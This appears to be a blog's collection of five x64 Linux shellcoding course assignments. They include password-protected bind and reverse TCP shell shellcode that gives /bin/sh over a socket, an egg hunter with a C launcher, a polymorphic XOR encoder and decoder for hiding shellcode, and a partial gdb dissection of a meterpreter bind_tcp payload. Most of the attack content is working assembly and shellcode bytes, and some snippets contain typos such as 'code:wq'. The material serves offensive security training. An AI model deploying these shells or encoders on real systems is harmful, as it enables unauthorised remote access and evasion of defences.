Tous les articles par SebInfoSec

ASSIGNEMENT #5

Take 3 shellcode from msfpayload linux x64, use gdb to dissect the functionnality and document your analysis

As msfpayload has been removed in 2015, i will use msfvenom to get the payload.

msfvenom -l payloads |grep linux/x64
list of all linux x64 payloads

We will first go through:
linux/x64/meterpreter/bind_tcp

We will use gdb to debug through it.
We create the payload using msfvenom:
msfvenom -p linux/x64/meterpreter/bind_tcp -f elf -o ass5SLEA

Payload start with a syscall using push-pop technique to move value to registers:

push   0x29                                                                                                                                                                                                                 pop    rax      ; rax=     41                                                                                                                                                                                                  cdq                                                                                                                                                                                                                    push   0x2                                                                                                                                                                                                             pop    rdi                                                                                                                                                                                                             push   0x1                                                                                                                                                                                                             pop    rsi                                                                                                                                                                                                             syscall ; syscall 41 is sys_socket

So it’s a socket call:
int socket(int family, int type, int protocol);
rdi=2 => family =2
Family values are:

AF_UNIX, AF_LOCAL Local communication unix(7)
AF_INET IPv4 Internet protocols ip(7)
AF_INET6 IPv6 Internet protocols ipv6(7)
AF_IPX IPX – Novell protocols
AF_NETLINK Kernel user interface device netlink(7)
AF_X25 ITU-T X.25 / ISO-8208 protocol x25(7)
AF_AX25 Amateur radio AX.25 protocol
AF_ATMPVC Access to raw ATM PVCs
AF_APPLETALK AppleTalk ddp(7)
AF_PACKET Low level packet interface packet(7)
AF_ALG Interface to kernel crypto API
So family is AF_INET


rsi=1 => protocol is 1
Protocol values are:

SOCK_STREAM Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported.

SOCK_DGRAM Supports datagrams (connectionless, unreliable messages of a fixed maximum length).

SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-based data transmission path for datagrams of fixed maximum length; a consumer is required to read an entire packet with each input system call.

SOCK_RAW Provides raw network protocol access.

SOCK_RDM Provides a reliable datagram layer that does not guarantee ordering.

SOCK_PACKET Obsolete and should not be used in new programs; see packet(7).

So protocol is SOCK_STREAM

This first block is creating a sock_stream socket over IPv4 and stocking the value in rdi.

Next block

   push   rdx                                                                                                                                                                                                               mov    DWORD PTR [rsp],0x5c110002    ;get this value on the stack                                                                                                                                                                                  mov    rsi,rsp         ;retrieve the adress in rsi                                                                                                                                                                                                push   0x10                                                                                                                                                                                                            pop    rdx            ;rdx=16                                                                                                                                                                                                 push   0x31  ;                                                                                                                                                                                                         pop    rax    ;rax is      49                                                                                                                                                                                                   syscall  ;sys_bind

With rax at 49 a syscall is indeed a sys_bind:

int bind(int sockfd, const struct sockaddr *addr, addrlen);
rdi= our previous IPv4 socket
rsi= the adress of 0x5c110002
rdx=16=the address length
so in the memory location point by rsi we have a value that will be use as reference for bind. 0x5c110002 ended by 00s

In ip(7) the AF_NET struct addr is defined as:

struct sockaddr_in {
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
};

struct in_addr {
uint32_t s_addr;
};


     


ASSIGNEMENT #4

Create a custom encoding scheme like the insertion encoder

POC it with the Execv-Stack example

Repository:https://github.com/Farad77/pentestAssign4.git

XOR with polymorphic key

My idea for this custom encoder is to use the same idea of the XOR Encoder but using only the initial key to encode the first byte and then use this encoded byte as my new key.
I can forsee an issue related to null byte appearing from two similar neighbour but we will do our Poc first.

First we get the Excev-Stack byte code:
« \x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05 »

With python we will encode the first byte by XORing it with the initial key (0xAA) and then XOR the next byte with the previous value

#!/usr/bin/python


shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'
newKey=0xAA
for x in bytearray(shellcode) :
        # XOR Encoding  
        y = x^newKey
        newKey=y
        encoded += '\\x'
        encoded += '%02x' % y

        encoded2 += '0x'
        encoded2 += '%02x,' %y


print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

We get our encoded shellcode, no nullbyte
0xe2,0xd3,0x13,0x43,0x0b,0xb0,0x9f,0xfd,0x94,0xfa,0xd5,0xfa,0x89,0xe1,0xb2,0xfa,0x73,0x94,0xc4,0x8c,0x05,0xe7,0xb0,0xf8,0x71,0x97,0xdf,0x5c,0x9c,0xa7,0xa8,0xad

The assembler decoder version do the exact opposite:
Take the encoded shellcode, take the first byte,stock it, xor it with the initial key (0xAA), and then use the stocked byte as the new xoring key.

global _start


section .text



_start:

jmp encoded
getEncodedShellCode:
pop rsi
xor rax,rax ;key will be rax
xor rdx,rdx ;buffer
xor rdi,rdi
xor rcx,rcx
add cl,32

add al,0xAA
looping:
mov dl,byte [rsi]

mov dil,dl
xor rdi,rax
mov byte [rsi],dil
inc rsi
mov al,dl
dec rcx
cmp rcx,0
jne looping
sub rsi,32
call rsi




encoded:
call getEncodedShellCode
encoded_shellcode db 0xe2,0xd3,0x13,0x43,0x0b,0xb0,0x9f,0xfd,0x94,0xfa,0xd5,0xfa,0x89,0xe1,0xb2,0xfa,0x73,0x94,0xc4,0x8c,0x05,0xe7,0xb0,0xf8,0x71,0x97,0xdf,0x5c,0x9c,0xa7,0xa8,0xad

We got a null byte because of cmp cx,0, so we will replace the handmand looping system with the « loop » instruction.
Code is avaiable at: https://github.com/Farad77/pentestAssign4/blob/master/polyXORdecoder.asm

Conclusion

As i said in the beginning there’s could be an issue where null byte appearing in the encoded shellcode, so we could:
-Iterate through different initial keys if it’s happening
Python encoder will check if encoding result is 00 , and restart the whole process using another key compute using the initial one(from 0xAA to 0xAB for example).

ASSIGNEMENT #3

Egg Hunter Shell Code

Create a working demo of an Egg Hunter shellcode
Should be configurable with different payload

Repository: https://github.com/Farad77/pentestAssign3.git

EggHunter is a technique used in bufferoverflow attack when there’s not enough space to inject a shellcode.
Purpose is to inject a tiny piece of code that will then search through the memory for a « special egg ». The egg is a special tag
placed just before the shellcode acting like a beacon allowing the egghunter to proceed and launch the shellcode.

So we will need to make 3 things

Iterate through the memory

So to test what i could and couldn’t do i tried a simple loop from the current memory at the entrypoint

global _start


section .text

_start:
        call getEgg
        egg db "w00t" ;change your 4 bytes egg here


getEgg:
        pop rsi
        mov edi, dword [rsi]
        mov rax,rsp
        inc rax

looping:
        dec rax
        cmp [rax-4],  rdi
        jne looping
        cmp [rax-8],rdi
        jne looping

Problem with this code is that, whenever you hit a wrong portion of the memory it will crash, we don’t want that so we will have to find a way to properly scan the memory for our egg.
Looking online i found multiple implementation of egghunter, some for windows using NTDISPLAYSTRING for example, and for linux i found some clue and one seems apealing: using sigaction syscall.
But sigaction syscall wasnt here in 64bit call table there’s was a rt_sigaction but it didn’t work like i want it too.

So i tried the sys_access syscall: rsi to 0, rdi with an address (starting at 0), sys_acess will tell us if we can read memory at this adress, if we can’t al will be 0xf2 and we will change page and try another one.
Using getconf PAGE_SIZE we see that a page size is 4096, so we add 1000h to rdi to change page and go on with our loop.

global _start
section .text

getEgg:
        pop rsi
        mov ebx,  [rsi]
        xor rdi,rdi 
        dec rdi
        xor rsi,rsi ;mode for sys_access
        xor rdx,rdx
	add dl,8
problem:
	xor rax,rax
       	
        add rdx,0x1000 ;getconf PAGE_SIZE is 4096
	
        
	 mov rdi,rdx

looping:
        inc rdi
	xor rax,rax
        mov al,21 ;sys_access
        syscall

        cmp al,0xf2
        je problem

        cmp dword [rdi-4],ebx 
        jne looping
;;found 1 part
        cmp dword [rdi-8],ebx
        jne looping
;;found 2 part jump to the shellcode behind the egg
	 add rdi,4
        call rdi

Inside the loop we test rdi-4 and rdi-8 for the two egg tag and if it’s ok we call the shell code.
For our first POC i did a full asm one, embedding the shellcode in our assembly code.
The full code is at ( https://github.com/Farad77/pentestAssign3/blob/master/EggHunter_fullpoc.asm )

Now we have to remove Nul bytes, using objdump -M intel -d EggHunter.o

Our page increase is the only thing causing trouble here:
so instead of add rdx,0x100
we will use the xor rax,rax, put 0x10 in ah and adding rdx to rax

global _start
section .text

getEgg:
        pop rsi
        mov ebx,  [rsi]
        xor rdi,rdi 
        dec rdi
        xor rsi,rsi ;mode for sys_access
        xor rdx,rdx
	add dl,8
problem:
	xor rax,rax
       	mov ah,0x10
        add rdx,rax ;getconf PAGE_SIZE is 4096 so 1000h, to remove null bytes we put 10 in dh, 00 is already in dl so edx=rdx=10 00h
	
        
	 mov rdi,rdx

looping:
        inc rdi
	xor rax,rax
        mov al,21 ;sys_access
        syscall

        cmp al,0xf2
        je problem

        cmp dword [rdi-4],ebx 
        jne looping
        cmp dword [rdi-8],ebx
        jne looping
	 add rdi,4
        call rdi

_start:

        call getEgg
        egg db "w00t" ;change your 4 bytes egg here


;	shellcode db 0x77,0x30,0x30,0x74,0x77,0x30,0x30,0x74,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05




We will now test it in our C skeletton:

#include<stdio.h>
#include<string.h>
unsigned char egghunter[]=\
"\x5e\x8b\x1e\x48\x31\xff\x48\xff\xcf\x48\x31\xf6\x48\x31\xd2\x80\xc2\x08\x48\x31\xc0\xb4\x10\x48\x01\xc2\x48\x89\xd7\x48\xff\xc7\x48\x31\xc0\xb0\x15\x0f\x05\x3c\xf2\x74\xe7\x39\x5f\xfc\x75\xed\x39\x5f\xf8\x75\xe8\x48\x83\xc7\x04\xff\xd7\xe8\xc0\xff\xff\xff\x77\x30\x30\x74";
unsigned char code[] = \
	      "\x77\x30\x30\x74\x77\x30\x30\x74\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";


int main()
{

	printf("Egghunter Length:  %d\n", (int)strlen(egghunter));
	printf("code Length:  %d\n", (int)strlen(code:wq));

	int (*ret)() = (int(*)())egghunter;

	ret();


}

	

But after compiling and launching seems the app is hanging:

So let’s launch gdb and see what’s going on: gdb -q shellcode -tui

Our binary is runing in 0x0000555555554692 adressing, that’s a lot!We go from 0 adding 4096 for every step.
That’s 23Billions step to take to even get to our code, so without a good idea of where we could start instead of starting from 0 the egg hunting is gonna take long.
Let’s launch it and time code it for the fun, and in the mean time i will look for an alternative.

The need for speed

If we could start our egghunt near our execution code, research would be much faster.
For this i will use the sys_shmdt syscall , ou puts the adress of the next instruction in rcx, we will then null the lower portion of the register and use this as base for our research.
So it will search for the egg in the proximity of the execution, not as robust as our first implementation but most certainly quicker.
Full code is avaiable at: https://github.com/Farad77/pentestAssign3/blob/master/EggHunterfast.asm


	xor rax,rax
	push rax
	add al,67 ;get current address
	syscall
	pop rax
	mov cx,ax ;null lower part of memory to backtrack a little
        mov rdx,rcx

Execution time is immediate, we get the shell so the hunt as been successful.
This implementation is not fail proof and could be work on, but it helped me validate the egg hunter using the c skeleton program.

ASSIGNEMENT #2

Shell Reverse TCP

Requirements:
*Reverse connect to a configured IP and port
*Needs a password
*If password correct execs a shell
*Remove 0x00

Repository:https://github.com/Farad77/pentestAssign2.git
So for this second assignement, the idea was to put an authentification system to areverse tcp shell.
The binary is trying to connect to a port and then wait for the password to give shell.

Socket initialisation

        xor rax,rax
	add al,41
	xor rsi,rsi
	add sil,1
	xor rdi,rdi
	add dil,2
	xor rdx,rdx

	syscall ;socket create

	mov rdi,rax ;socket stocked

	xor rax,rax
	push rax

;pour le connect il nous faut plusieurs données
;struct_addr: 8byte de ip addr (127.0.0.1) (7f.0.0.1)
;l'adresse du serveur: ANY (0)
;le port codé en big endian (hton converti en hex)
;Le AF_INET=2
	xor rax,rax
	mov byte [rsp-01],0x01
	mov byte  [rsp-02],al
	mov byte [rsp-03],al
	mov byte [rsp-4],0x7f
	mov word [rsp-6],0x5c11 ;5c11=23569(BE)=4444(LE)
	inc rax
	inc rax
	mov word [rsp-8],ax
	sub rsp,8

;connect= syscall 42
	xor rax,rax
	add al,42
	mov rsi,rsp
	xor rdx,rdx
	add dl,16
	syscall  ;port ouvert

jmp waitPassword

We connect to 127.0.0.1 on port 4444 and go to waitPassword

;;;;;;;;;;;;;;;;;;;;;;;;;;;jmpcallpop from waitforPassword (buffer for password)
getBufferAddr:
	pop rsi
	;read 5bytes
	xor rax,rax
	xor rdx,rdx
	add dl,5
	syscall

	cmp dword [rsi],0x4c414553 ;compare it with SEAL
	je auth_ok

	xor rax, rax
	add rax, 60
	xor rdi, rdi
	syscall	

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
waitPassword:
	call getBufferAddr
	pass db "AAAAB"

Password is 5 bytes so we read it from the socket and compare it with our hardcoded password « SEAL »
If auth is not ok we exit, if password matches we launch a shell (bin/sh)

auth_ok:
;dup2 0
	xor rax,rax	
	add al,33 ;dup2
	xor rsi,rsi
	syscall
;dup2 1
	xor rax,rax
	add al,33
	xor rsi,rsi
	add sil,1
	syscall

;dup2 2
	xor rax,rax
	add al,33
	xor rsi,rsi
	add sil,2
	syscall
	jmp short exec
...
exec:
	; First NULL push

	xor rax, rax
	push rax

	; push /bin//sh in reverse 

	mov rbx, 0x68732f2f6e69622f
	push rbx

	; store /bin//sh address in RDI

	mov rdi, rsp

	; Second NULL push 
	push rax

	; set RDX
	mov rdx, rsp 


	; Push address of /bin//sh
	push rdi

	; set RSI

	mov rsi, rsp

	; Call the Execve syscall 
	add rax, 59
	syscall


	

ShellCode in byte is « \x48\x31\xc0\x04\x29\x48\x31\xf6\x40\x80\xc6\x01\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x48\x31\xc0\xc6\x44\x24\xff\x01\x88\x44\x24\xfe\x88\x44\x24\xfd\xc6\x44\x24\xfc\x7f\x66\xc7\x44\x24\xfa\x11\x5c\x48\xff\xc0\x48\xff\xc0\x66\x89\x44\x24\xf8\x48\x83\xec\x08\x48\x31\xc0\x04\x2a\x48\x89\xe6\x48\x31\xd2\x80\xc2\x10\x0f\x05\xeb\x48\x48\x31\xc0\x04\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x01\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x02\x0f\x05\xeb\x2a\x5e\x48\x31\xc0\x48\x31\xd2\x80\xc2\x05\x0f\x05\x81\x3e\x53\x45\x41\x4c\x74\xc4\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdb\xff\xff\xff\x41\x41\x41\x41\x42\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05 »

No Null byte and 206 bytes long.

Assignement #1

Shell Bind TCP port

Requirements:
*Bind to a port
*Needs a password
*If password correct execs a shell
*Remove 0x00

Repository: https://github.com/Farad77/pentestAssign1.git

So for this first assignement, the idea was to put an authentification system to a tcp bind shell.

Socket initialisation

We will create a server socket, listening on port 4444, and when a client connect itself we will redirect it to the authentification part of the code

        xor rax,rax
	add al,41
	xor rsi,rsi
	add sil,1
	xor rdi,rdi
	add dil,2
	xor rdx,rdx

	syscall

	mov rdi,rax ;socket server

	xor rax,rax
	push rax

;pour le bind il nous faut plusieurs données
;struct_addr: 8byte de 0 (push rax)
;l'adresse du serveur: ANY (0)
;le port codé en big endian (hton converti en hex)
;Le AF_INET=2
	mov dword [rsp-04],eax
	mov word [rsp-6],0x5c11 ;5c11=23569(BE)=4444(LE)
	xor rax,rax
	inc rax
	inc rax
	mov word [rsp-8],ax
	sub rsp,8


;bind= syscall 49
	xor rax,rax
	add al,49
	mov rsi,rsp
	xor rdx,rdx
	add dl,16
	syscall  ;port ouvert

;wait for client
;50 pour syscall
;rdi pour sock
;rsi max client
	xor rax,rax	
	add al,50
	xor rsi,rsi
	add sil,2
	syscall ;listen

;accept client
	xor rax,rax
	add al,43 ;number syscall
	sub rsp,16
	mov rsi,rsp ;pointeur
	mov byte [rsp-1],16 ;adresse vers la valeur 16 pour le accept
	dec rsp
	mov rdx,rsp
	syscall ;wait for client

	mov r9,rax
	jmp waitForPassword

Null bytes was taking care of by xoring register and adding values to low registers, converting mov rax,43 to xor rax,rax add al,43

So next part is auth. Idea is create a buffer for 5 chars, read the first byte of incoming socket and compare it to our hardcoded password: SEAL

;;;;jmpcallpop from waitforPassword (buffer for password)
 getBufferAddr:
     pop rsi ;retrieve pass adress
    
     mov rdi,rax
     xor rax,rax
     xor rdx,rdx
     add dl,40  ;read 64bytes
     syscall  ;read from socket
     
     cmp dword [rsi],0x4c414553 ;compare it with SEAL
     je auth_ok 
     xor rax, rax;exit
     add rax, 60
     xor rdi, rdi
     syscall
 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 waitForPassword:
     call getBufferAddr
     pass db "AAAAB" 

If password is incorrect, we exit. Next step is duplicate STDIN,OU,ERR and excev bin/sh

Launch_CommandProc: ;rbx=chaine de commande;
	xor rax,rax
	push rax
	
	mov rdx,rsp
	push rbx
	mov rdi ,rsp
	push rax	
	push rdi
	mov rsi,rsp
	add al,59
	syscall
	ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;PASSWORD IS OK GET THE SHELL
auth_ok:
;duplicate socket
;dup2 0
	mov rdi,r9
	xor rax,rax	
	add al,33 ;dup2
	xor rsi,rsi
	syscall
;dup2 1
	xor rax,rax
	add al,33
	xor rsi,rsi
	add sil,1
	syscall

;dup2 2
	xor rax,rax
	add al,33
	xor rsi,rsi
	add sil,2
	syscall

	xor rax,rax ;close socket
	add al,3
	syscall
;execv

	; /bin//sh in reverse 

	mov rbx, 0x68732f2f6e69622f
	call Launch_CommandProc

Here we go, objdump to verify that we have no null bytes, using

echo "\"$(objdump -d BindShell64.o | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""

Give us our shell code in bytes

"\xeb\x54\x48\x31\xc0\x50\x48\x89\xe2\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x04\x3b\x0f\x05\xc3\x4c\x89\xcf\x48\x31\xc0\x04\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x01\x0f\x05\x48\x31\xc0\x04\x21\x48\x31\xf6\x40\x80\xc6\x02\x0f\x05\x48\x31\xc0\x04\x03\x0f\x05\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xe8\xac\xff\xff\xff\xeb\x2d\x5e\x48\x89\xc7\x48\x31\xc0\x48\x31\xd2\x80\xc2\x28\x0f\x05\x81\x3e\x53\x45\x41\x4c\x74\xa8\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd8\xff\xff\xff\x41\x41\x41\x41\x42\x48\x31\xc0\x04\x29\x48\x31\xf6\x40\x80\xc6\x01\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x66\x89\x44\x24\xf8\x48\x83\xec\x08\x48\x31\xc0\x04\x31\x48\x89\xe6\x48\x31\xd2\x80\xc2\x10\x0f\x05\x48\x31\xc0\x04\x32\x48\x31\xf6\x40\x80\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\xff\xcc\x48\x89\xe2\x0f\x05\x49\x89\xc1\xe9\x7b\xff\xff\xff"

Passing it to our skeletton shellcode.c: Shell Code is 256 bytes, no null bytes, bind to port 4444 and need a password to get the shell